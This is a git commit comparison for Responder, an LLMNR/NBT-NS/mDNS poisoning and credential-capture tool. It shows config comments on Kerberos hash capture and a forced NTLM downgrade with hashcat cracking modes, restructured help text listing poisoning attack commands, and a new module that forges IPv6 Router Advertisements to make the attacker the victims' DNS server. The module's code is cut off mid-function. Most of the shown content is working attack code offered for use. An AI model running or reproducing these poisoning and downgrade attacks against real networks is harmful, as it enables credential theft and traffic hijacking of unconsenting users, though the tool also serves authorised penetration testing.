Compare commits

..

20 Commits

Author SHA1 Message Date
lgandx
fb29fe25db Implemented RDNSS and DNSSL 2026-01-26 19:05:44 -03:00
lgandx
f1649c136d added db locking on save to DB operations 2026-01-24 23:45:37 -03:00
lgandx
9a2144a8a1 Reformatted help output 2026-01-24 10:55:35 -03:00
lgandx
271b564bd8 Properly formatted etype 17 & 18 hashes + minor fixes 2026-01-24 10:20:54 -03:00
lgandx
83ecb7d343 Use Bind_To6 2026-01-24 10:00:26 -03:00
lgandx
2da22ce312 Now aligned with utils.py IPv6 changes 2026-01-24 09:26:02 -03:00
lgandx
1191936598 updated version number 2026-01-23 21:05:51 -03:00
lgandx
b4a1423875 Changed IPv6 bind logic, now default to local link instead of routable. Can override with -6 .. 2026-01-23 20:47:03 -03:00
lgandx
bb4c041481 DNS TCP binding to all 2026-01-23 20:25:03 -03:00
lgandx
9cda8146df minor update 2026-01-23 20:24:26 -03:00
lgandx
b11946fcb5 removed some debug strings 2026-01-23 20:23:56 -03:00
lgandx
de3eb39b20 removed useless debugging script 2026-01-23 20:23:09 -03:00
lgandx
9234d3b8f7 fixed SRV answer always set to 445. Now has complete mapping.. 2026-01-23 19:08:47 -03:00
lgandx
8bbe77a709 added: bind on IPv6 + fallback to link local in case we don't have a global addr 2026-01-23 18:32:42 -03:00
lgandx
376d2e87d2 Merge branch 'master' of https://github.com/lgandx/Responder 2026-01-07 15:10:43 -03:00
lgandx
683fa6047e updated tips jar 2026-01-07 15:10:19 -03:00
lgandx
1d41902e48 Update README.md
Long overdue README update
2026-01-07 15:05:08 -03:00
lgandx
35e6d70d83 Update README.md 2026-01-07 14:13:39 -03:00
lgandx
b74f42f56a added Kerberos to NTLM downgrade 2026-01-07 12:17:22 -03:00
lgandx
1f7858a223 removed unused functions 2026-01-06 22:37:45 -03:00
10 changed files with 2202 additions and 580 deletions

1173
README.md

File diff suppressed because it is too large Load Diff

View File

@@ -105,6 +105,37 @@ SendRA = Off
; Example: 2001:db8::1
BindToIPv6 =
[Kerberos]
; ======================================================
; Kerberos Operation Mode (NEW FEATURE)
; ======================================================
;
; CAPTURE (default) - Capture Kerberos AS-REP hashes
; - Responds with KDC_ERR_PREAUTH_REQUIRED
; - Client sends encrypted timestamp
; - Responder captures AS-REP hash
; - Crack with: hashcat -m 7500
; - Good for: Stealthy operation, unique Kerberos hashes
;
; FORCE_NTLM - Force client to fall back to NTLM
; - Responds with KDC_ERR_ETYPE_NOSUPP
; - Client abandons Kerberos, tries NTLM
; - Responder's SMB/HTTP captures NetNTLMv2
; - Crack with: hashcat -m 5600
; - Good for: Relay attacks, faster cracking
;
; Choose based on engagement needs:
; - Use CAPTURE for stealth and Kerberos-specific hashes
; - Use FORCE_NTLM for relay attacks or faster cracking
;
; Default: CAPTURE (if not specified)
; ======================================================
KerberosMode = CAPTURE
; Alternative: Force NTLM fallback
;KerberosMode = FORCE_NTLM
[HTTP Server]
; Set to On to always serve the custom EXE

View File

@@ -26,31 +26,281 @@ from utils import *
import struct
banner()
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -d\nor:\npython %prog -I eth0 -wd', version=settings.__version__, prog=sys.argv[0])
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
import optparse
import textwrap
parser.add_option('--dhcpv6', action="store_true", help="Enable DHCPv6 poisoning attack (disabled by default). Responds to DHCPv6 SOLICIT messages and configures attacker as DNS server. WARNING: May cause network disruption.", dest="DHCPv6_On_Off", default=False)
class ResponderHelpFormatter(optparse.IndentedHelpFormatter):
"""Custom formatter for better help output"""
def format_description(self, description):
if description:
return description + "\n"
return ""
def format_epilog(self, epilog):
if epilog:
return "\n" + epilog + "\n"
return ""
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
def create_parser():
"""Create argument parser with organized option groups"""
usage = textwrap.dedent("""\
python3 %prog -I eth0 -v""")
description = textwrap.dedent("""\
══════════════════════════════════════════════════════════════════════════════
Responder - LLMNR/NBT-NS/mDNS Poisoner and Rogue Authentication Servers
══════════════════════════════════════════════════════════════════════════════
Captures credentials by responding to broadcast/multicast name resolution,
DHCP, DHCPv6 requests
══════════════════════════════════════════════════════════════════════════════""")
epilog = textwrap.dedent("""\
══════════════════════════════════════════════════════════════════════════════
Examples:
══════════════════════════════════════════════════════════════════════════════
Basic poisoning: python3 Responder.py -I eth0 -v
##Watch what's going on:
Analyze mode (passive): python3 Responder.py -I eth0 -Av
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False)
parser.add_option('-Q','--quiet', action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False)
##Working on old networks:
WPAD with forced auth: python3 Responder.py -I eth0 -wFv
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in its Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kerberos relaying over HTTP.", dest="AnswerName", default=None)
parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False)
##Great module:
Proxy auth: python3 Responder.py -I eth0 -Pv
##DHCPv6 + Proxy authentication:
DHCPv6 attack: python3 Responder.py -I eth0 --dhcpv6 -vP
##DHCP -> WPAD injection -> Proxy authentication:
DHCP + WPAD injection: python3 Responder.py -I eth0 -Pvd
##Poison requests to an arbitrary IP:
Poison with external IP: python3 Responder.py -I eth0 -e 10.0.0.100
##Poison requests to an arbitrary IPv6 IP:
Poison with external IPv6: python3 Responder.py -I eth0 -6 2800:ac:4000:8f9e:c5eb:2193:71:1d12
══════════════════════════════════════════════════════════════════════════════
For more info: https://github.com/lgandx/Responder/blob/master/README.md
══════════════════════════════════════════════════════════════════════════════""")
parser = optparse.OptionParser(
usage=usage,
version=settings.__version__,
prog="Responder.py",
description=description,
epilog=epilog,
formatter=ResponderHelpFormatter()
)
# -------------------------------------------------------------------------
# REQUIRED OPTIONS
# -------------------------------------------------------------------------
required = optparse.OptionGroup(parser,
"Required Options",
"These options must be specified")
required.add_option('-I', '--interface',
action="store",
dest="Interface",
metavar="eth0",
default=None,
help="Network interface to use. Use 'ALL' for all interfaces.")
parser.add_option_group(required)
# -------------------------------------------------------------------------
# POISONING OPTIONS
# -------------------------------------------------------------------------
poisoning = optparse.OptionGroup(parser,
"Poisoning Options",
"Control how Responder poisons name resolution requests")
poisoning.add_option('-A', '--analyze',
action="store_true",
dest="Analyze",
default=False,
help="Analyze mode. See requests without poisoning. (passive)")
poisoning.add_option('-e', '--externalip',
action="store",
dest="ExternalIP",
metavar="IP",
default=None,
help="Poison with a different IPv4 address than Responder's.")
poisoning.add_option('-6', '--externalip6',
action="store",
dest="ExternalIP6",
metavar="IPv6",
default=None,
help="Poison with a different IPv6 address than Responder's.")
poisoning.add_option('--rdnss',
action="store_true",
dest="RDNSS_On_Off",
default=False,
help="Poison via Router Advertisements with RDNSS. Sets attacker as IPv6 DNS.")
poisoning.add_option('--dnssl',
action="store",
dest="DNSSL_Domain",
metavar="DOMAIN",
default=None,
help="Poison via Router Advertisements with DNSSL. Injects DNS search suffix.")
poisoning.add_option('-t', '--ttl',
action="store",
dest="TTL",
metavar="HEX",
default=None,
help="Set TTL for poisoned answers. Hex value (30s = 1e) or 'random'.")
poisoning.add_option('-N', '--AnswerName',
action="store",
dest="AnswerName",
metavar="NAME",
default=None,
help="Canonical name in LLMNR answers. (for Kerberos relay over HTTP)")
parser.add_option_group(poisoning)
# -------------------------------------------------------------------------
# DHCP OPTIONS
# -------------------------------------------------------------------------
dhcp = optparse.OptionGroup(parser,
"DHCP Options",
"DHCP and DHCPv6 poisoning attacks")
dhcp.add_option('-d', '--DHCP',
action="store_true",
dest="DHCP_On_Off",
default=False,
help="Enable DHCPv4 poisoning. Injects WPAD in DHCP responses.")
dhcp.add_option('-D', '--DHCP-DNS',
action="store_true",
dest="DHCP_DNS",
default=False,
help="Inject DNS server (not WPAD) in DHCPv4 responses.")
dhcp.add_option('--dhcpv6',
action="store_true",
dest="DHCPv6_On_Off",
default=False,
help="Enable DHCPv6 poisoning. WARNING: May disrupt network.")
parser.add_option_group(dhcp)
# -------------------------------------------------------------------------
# WPAD / PROXY OPTIONS
# -------------------------------------------------------------------------
wpad = optparse.OptionGroup(parser,
"WPAD / Proxy Options",
"Web Proxy Auto-Discovery attacks")
wpad.add_option('-w', '--wpad',
action="store_true",
dest="WPAD_On_Off",
default=False,
help="Start WPAD rogue proxy server.")
wpad.add_option('-F', '--ForceWpadAuth',
action="store_true",
dest="Force_WPAD_Auth",
default=False,
help="Force NTLM/Basic auth on wpad.dat retrieval. (may show prompt)")
wpad.add_option('-P', '--ProxyAuth',
action="store_true",
dest="ProxyAuth_On_Off",
default=False,
help="Force proxy authentication. Highly effective. (can't use with -w)")
wpad.add_option('-u', '--upstream-proxy',
action="store",
dest="Upstream_Proxy",
metavar="HOST:PORT",
default=None,
help="Upstream proxy for rogue WPAD proxy outgoing requests.")
parser.add_option_group(wpad)
# -------------------------------------------------------------------------
# AUTHENTICATION OPTIONS
# -------------------------------------------------------------------------
auth = optparse.OptionGroup(parser,
"Authentication Options",
"Control authentication methods and downgrades")
auth.add_option('-b', '--basic',
action="store_true",
dest="Basic",
default=False,
help="Return HTTP Basic auth instead of NTLM. (cleartext passwords)")
auth.add_option('--lm',
action="store_true",
dest="LM_On_Off",
default=False,
help="Force LM hashing downgrade. (for Windows XP/2003)")
auth.add_option('--disable-ess',
action="store_true",
dest="NOESS_On_Off",
default=False,
help="Disable Extended Session Security. (NTLMv1 downgrade)")
auth.add_option('-E', '--ErrorCode',
action="store_true",
dest="ErrorCode",
default=False,
help="Return STATUS_LOGON_FAILURE. (enables WebDAV auth capture)")
parser.add_option_group(auth)
# -------------------------------------------------------------------------
# OUTPUT OPTIONS
# -------------------------------------------------------------------------
output = optparse.OptionGroup(parser,
"Output Options",
"Control verbosity and logging")
output.add_option('-v', '--verbose',
action="store_true",
dest="Verbose",
default=False,
help="Increase verbosity. (recommended)")
output.add_option('-Q', '--quiet',
action="store_true",
dest="Quiet",
default=False,
help="Quiet mode. Minimal output from poisoners.")
parser.add_option_group(output)
# -------------------------------------------------------------------------
# PLATFORM OPTIONS
# -------------------------------------------------------------------------
platform = optparse.OptionGroup(parser,
"Platform Options",
"OS-specific settings")
platform.add_option('-i', '--ip',
action="store",
dest="OURIP",
metavar="IP",
default=None,
help="Local IP to use. (OSX only)")
parser.add_option_group(platform)
return parser
parser = create_parser()
options, args = parser.parse_args()
if not os.geteuid() == 0:
@@ -342,7 +592,15 @@ def main():
# DHCPv6 Server (disabled by default, enable with --dhcpv6)
if settings.Config.DHCPv6_On_Off:
from servers.DHCPv6 import DHCPv6
threads.append(Thread(target=serve_thread_dhcpv6, args=('', 547, DHCPv6,)))
threads.append(Thread(target=serve_thread_dhcpv6, args=('', 547, DHCPv6,)))
if settings.Config.RDNSS_On_Off or settings.Config.DNSSL_Domain:
from poisoners.RDNSS import RDNSS
threads.append(Thread(target=RDNSS, args=(
settings.Config.Interface, # 1. interface
settings.Config.RDNSS_On_Off, # 2. rdnss_enabled (bool)
settings.Config.DNSSL_Domain # 3. dnssl_domain (str or None)
)))
# Load MDNS, NBNS and LLMNR Poisoners
if settings.Config.LLMNR_On_Off:
@@ -455,7 +713,7 @@ def main():
if settings.Config.DNS_On_Off:
from servers.DNS import DNS, DNSTCP
threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,)))
threads.append(Thread(target=serve_thread_tcp, args=('', 53, DNSTCP,)))
if settings.Config.SNMP_On_Off:
from servers.SNMP import SNMP

View File

@@ -1249,42 +1249,6 @@ class SMBSessionData(Packet):
self.fields["bcc"] = StructWithLenPython2or3("<h", len(CompleteBCC))
self.fields["PasswordLen"] = StructWithLenPython2or3("<h", len(str(self.fields["AccountPassword"])))
class SMBNegoFingerData(Packet):
fields = OrderedDict([
("separator1","\x02" ),
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
("separator2","\x02"),
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
("separator3","\x02"),
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
("separator4","\x02"),
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
("separator5","\x02"),
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
("separator6","\x02"),
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1",""),
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["bcc1"] = StructPython2or3('<h',self.fields["Data"])
class SMBTreeConnectData(Packet):
fields = OrderedDict([
("Wordcount", "\x04"),
@@ -2381,113 +2345,3 @@ class RPCNTLMNego(Packet):
self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data))
################### Mailslot NETLOGON ######################
class NBTUDPHeader(Packet):
fields = OrderedDict([
("MessType", "\x11"),
("MoreFrag", "\x02"),
("TID", "\x82\x92"),
("SrcIP", "0.0.0.0"),
("SrcPort", "\x00\x8a"), ##Always 138
("DatagramLen", "\x00\x00"),
("PacketOffset", "\x00\x00"),
("ClientNBTName", ""),
("DstNBTName", ""),
("Data", ""),
])
def calculate(self):
self.fields["SrcIP"] = RespondWithIPAton()
## DatagramLen.
DataGramLen = str(self.fields["PacketOffset"])+str(self.fields["ClientNBTName"])+str(self.fields["DstNBTName"])+str(self.fields["Data"])
self.fields["DatagramLen"] = StructWithLenPython2or3(">h",len(DataGramLen))
class SMBTransMailslot(Packet):
fields = OrderedDict([
("Wordcount", "\x11"),
("TotalParamCount", "\x00\x00"),
("TotalDataCount", "\x00\x00"),
("MaxParamCount", "\x02\x00"),
("MaxDataCount", "\x00\x00"),
("MaxSetupCount", "\x00"),
("Reserved", "\x00"),
("Flags", "\x00\x00"),
("Timeout", "\xff\xff\xff\xff"),
("Reserved2", "\x00\x00"),
("ParamCount", "\x00\x00"),
("ParamOffset", "\x00\x00"),
("DataCount", "\x00\x00"),
("DataOffset", "\x00\x00"),
("SetupCount", "\x03"),
("Reserved3", "\x00"),
("Opcode", "\x01\x00"),
("Priority", "\x00\x00"),
("Class", "\x02\x00"),
("Bcc", "\x00\x00"),
("MailSlot", "\\MAILSLOT\\NET\\NETLOGON"),
("MailSlotNull", "\x00"),
("Padding", "\x00\x00\x00"),
("Data", ""),
])
def calculate(self):
#Padding
if len(str(self.fields["Data"]))%2==0:
self.fields["Padding"] = "\x00\x00\x00\x00"
else:
self.fields["Padding"] = "\x00\x00\x00"
BccLen = str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])+str(self.fields["Data"])
PacketOffsetLen = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved2"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved3"])+str(self.fields["Opcode"])+str(self.fields["Priority"])+str(self.fields["Class"])+str(self.fields["Bcc"])+str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])
self.fields["DataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
self.fields["TotalDataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
self.fields["DataOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
self.fields["ParamOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(BccLen))
class SamLogonResponseEx(Packet):
fields = OrderedDict([
("Cmd", "\x17\x00"),
("Sbz", "\x00\x00"),
("Flags", "\xfd\x03\x00\x00"),
("DomainGUID", "\xe7\xfd\xf2\x4a\x4f\x98\x8b\x49\xbb\xd3\xcd\x34\xc7\xba\x57\x70"),
("ForestName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
("ForestNameNull", "\x00"),
("ForestDomainName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
("ForestDomainNull", "\x00"),
("DNSName", "\x0a\x73\x65\x72\x76\x65\x72\x32\x30\x30\x33"),
("DNSPointer", "\xc0\x18"),
("DomainName", "\x04\x53\x4d\x42\x33"),
("DomainTerminator", "\x00"),
("ServerLen", "\x0a"),
("ServerName", settings.Config.MachineName),
("ServerTerminator", "\x00"),
("UsernameLen", "\x10"),
("Username", settings.Config.Username),
("UserTerminator", "\x00"),
("SrvSiteNameLen", "\x17"),
("SrvSiteName", "Default-First-Site-Name"),
("SrvSiteNameNull", "\x00"),
("Pointer", "\xc0"),
("PointerOffset", "\x5c"),
("DCAddrSize", "\x10"),
("AddrType", "\x02\x00"),
("Port", "\x00\x00"),
("DCAddress", "\xc0\xab\x01\x65"),
("SinZero", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Version", "\x0d\x00\x00\x00"),
("LmToken", "\xff\xff"),
("LmToken2", "\xff\xff"),
])
def calculate(self):
Offset = str(self.fields["Cmd"])+str(self.fields["Sbz"])+str(self.fields["Flags"])+str(self.fields["DomainGUID"])+str(self.fields["ForestName"])+str(self.fields["ForestNameNull"])+str(self.fields["ForestDomainName"])+str(self.fields["ForestDomainNull"])+str(self.fields["DNSName"])+str(self.fields["DNSPointer"])+str(self.fields["DomainName"])+str(self.fields["DomainTerminator"])+str(self.fields["ServerLen"])+str(self.fields["ServerName"])+str(self.fields["ServerTerminator"])+str(self.fields["UsernameLen"])+str(self.fields["Username"])+str(self.fields["UserTerminator"])
DcLen = str(self.fields["AddrType"])+str(self.fields["Port"])+str(self.fields["DCAddress"])+str(self.fields["SinZero"])
self.fields["DCAddress"] = RespondWithIPAton()
self.fields["ServerLen"] = StructWithLenPython2or3("<B",len(str(self.fields["ServerName"])))
self.fields["UsernameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["Username"])))
self.fields["SrvSiteNameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["SrvSiteName"])))
self.fields["DCAddrSize"] = StructWithLenPython2or3("<B",len(DcLen))
self.fields["PointerOffset"] = StructWithLenPython2or3("<B",len(Offset))

357
poisoners/RDNSS.py Normal file
View File

@@ -0,0 +1,357 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
"""
RDNSS/DNSSL Poisoner - DNS Router Advertisement Options (RFC 8106)
Sends IPv6 Router Advertisements with:
- RDNSS (Recursive DNS Server) option - advertises Responder as DNS server
- DNSSL (DNS Search List) option - injects DNS search suffix
Both options are independent and can be used separately or together.
This causes IPv6-enabled clients to:
- Use Responder's DNS server for name resolution (RDNSS)
- Append search suffix to unqualified names (DNSSL)
Usage:
python Responder.py -I eth0 --rdnss -v # RDNSS only
python Responder.py -I eth0 --dnssl corp.local -v # DNSSL only
python Responder.py -I eth0 --rdnss --dnssl corp.local -v # Both
"""
import socket
import struct
import random
import time
import signal
from utils import *
# ICMPv6 Constants
ICMPV6_ROUTER_ADVERTISEMENT = 134
ICMPV6_HOP_LIMIT = 255
# DNS RA Option Types (RFC 8106)
ND_OPT_RDNSS = 25 # Recursive DNS Server
ND_OPT_DNSSL = 31 # DNS Search List
# IPv6 All-Nodes Multicast Address
IPV6_ALL_NODES = "ff02::1"
# RA Timing (seconds)
RA_INTERVAL_MIN = 30
RA_INTERVAL_MAX = 120
RA_LIFETIME = 1800 # 30 minutes
class RDNSSOption:
"""Recursive DNS Server Option (Type 25)"""
def __init__(self, dns_servers, lifetime=RA_LIFETIME):
self.dns_servers = dns_servers if isinstance(dns_servers, list) else [dns_servers]
self.lifetime = lifetime
def build(self):
if not self.dns_servers:
return b''
addresses = b''
for server in self.dns_servers:
addresses += socket.inet_pton(socket.AF_INET6, server)
# Length in units of 8 octets: 1 (header) + 2 * num_addresses
length = 1 + (2 * len(self.dns_servers))
header = struct.pack(
'!BBHI',
ND_OPT_RDNSS,
length,
0, # Reserved
self.lifetime
)
return header + addresses
class DNSSLOption:
"""DNS Search List Option (Type 31)"""
def __init__(self, domains, lifetime=RA_LIFETIME):
self.domains = domains if isinstance(domains, list) else [domains]
self.lifetime = lifetime
@staticmethod
def encode_domain(domain):
"""Encode domain name in DNS wire format (RFC 1035)."""
encoded = b''
for label in domain.rstrip('.').split('.'):
label_bytes = label.encode('ascii')
encoded += bytes([len(label_bytes)]) + label_bytes
encoded += b'\x00' # Root label
return encoded
def build(self):
if not self.domains:
return b''
domain_data = b''
for domain in self.domains:
domain_data += self.encode_domain(domain)
# Pad to 8-octet boundary
header_size = 8
total_size = header_size + len(domain_data)
padding_needed = (8 - (total_size % 8)) % 8
domain_data += b'\x00' * padding_needed
length = (header_size + len(domain_data)) // 8
header = struct.pack(
'!BBHI',
ND_OPT_DNSSL,
length,
0, # Reserved
self.lifetime
)
return header + domain_data
class RouterAdvertisement:
"""ICMPv6 Router Advertisement Message"""
def __init__(self, rdnss=None, dnssl=None, managed=False, other=False, router_lifetime=0):
self.cur_hop_limit = 64
self.managed_flag = managed
self.other_flag = other
self.router_lifetime = router_lifetime # 0 = not a default router
self.reachable_time = 0
self.retrans_timer = 0
self.rdnss = rdnss
self.dnssl = dnssl
def build(self):
flags = 0
if self.managed_flag:
flags |= 0x80
if self.other_flag:
flags |= 0x40
ra_header = struct.pack(
'!BBHBBHII',
ICMPV6_ROUTER_ADVERTISEMENT,
0, # Code
0, # Checksum (placeholder)
self.cur_hop_limit,
flags,
self.router_lifetime,
self.reachable_time,
self.retrans_timer
)
options = b''
if self.rdnss:
options += self.rdnss.build()
if self.dnssl:
options += self.dnssl.build()
return ra_header + options
def compute_icmpv6_checksum(source, dest, icmpv6_packet):
"""Compute ICMPv6 checksum including pseudo-header."""
src_addr = socket.inet_pton(socket.AF_INET6, source)
dst_addr = socket.inet_pton(socket.AF_INET6, dest)
pseudo_header = struct.pack(
'!16s16sI3xB',
src_addr,
dst_addr,
len(icmpv6_packet),
58 # ICMPv6
)
data = pseudo_header + icmpv6_packet
if len(data) % 2:
data += b'\x00'
checksum = 0
for i in range(0, len(data), 2):
word = (data[i] << 8) + data[i + 1]
checksum += word
while checksum >> 16:
checksum = (checksum & 0xFFFF) + (checksum >> 16)
return ~checksum & 0xFFFF
def get_link_local_address(interface):
"""Get link-local IPv6 address for interface (required for RA source)."""
try:
with open('/proc/net/if_inet6', 'r') as f:
for line in f:
parts = line.split()
if len(parts) >= 6 and parts[5] == interface:
addr = parts[0]
formatted = ':'.join(addr[i:i+4] for i in range(0, 32, 4))
if formatted.lower().startswith('fe80'):
return formatted
except FileNotFoundError:
pass
# Fallback: try netifaces
try:
import netifaces
addrs = netifaces.ifaddresses(interface)
if netifaces.AF_INET6 in addrs:
for addr in addrs[netifaces.AF_INET6]:
ipv6 = addr.get('addr', '').split('%')[0]
if ipv6.lower().startswith('fe80'):
return ipv6
except:
pass
return None
def get_dns_server_address(interface):
"""Get IPv6 address to advertise as DNS server. Uses Bind_To6 from settings."""
# Use Bind_To6 from settings (set via -6 option or config)
if hasattr(settings.Config, 'Bind_To6') and settings.Config.Bind_To6:
return settings.Config.Bind_To6
# Fallback: auto-detect from interface
try:
import netifaces
addrs = netifaces.ifaddresses(interface)
if netifaces.AF_INET6 in addrs:
global_ipv6 = None
linklocal_ipv6 = None
for addr in addrs[netifaces.AF_INET6]:
ipv6 = addr.get('addr', '').split('%')[0]
if not ipv6 or ipv6 == '::1':
continue
if ipv6.lower().startswith('fe80'):
if not linklocal_ipv6:
linklocal_ipv6 = ipv6
else:
if not global_ipv6:
global_ipv6 = ipv6
# Prefer global, fall back to link-local
return global_ipv6 or linklocal_ipv6
except:
pass
# Last resort: link-local
return get_link_local_address(interface)
def send_ra(interface, source_ip, dns_server=None, dnssl_domains=None):
"""Send a single Router Advertisement."""
try:
# Build RDNSS option if DNS server specified
rdnss = None
if dns_server:
rdnss = RDNSSOption(dns_servers=[dns_server], lifetime=RA_LIFETIME)
# Build DNSSL option if domains specified
dnssl = None
if dnssl_domains:
dnssl = DNSSLOption(domains=dnssl_domains, lifetime=RA_LIFETIME)
# Build RA packet
ra = RouterAdvertisement(rdnss=rdnss, dnssl=dnssl)
# Create raw socket
sock = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, interface.encode())
sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_HOPS, ICMPV6_HOP_LIMIT)
sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_UNICAST_HOPS, ICMPV6_HOP_LIMIT)
# Build packet with checksum
packet = bytearray(ra.build())
checksum = compute_icmpv6_checksum(source_ip, IPV6_ALL_NODES, bytes(packet))
struct.pack_into('!H', packet, 2, checksum)
# Send to all-nodes multicast
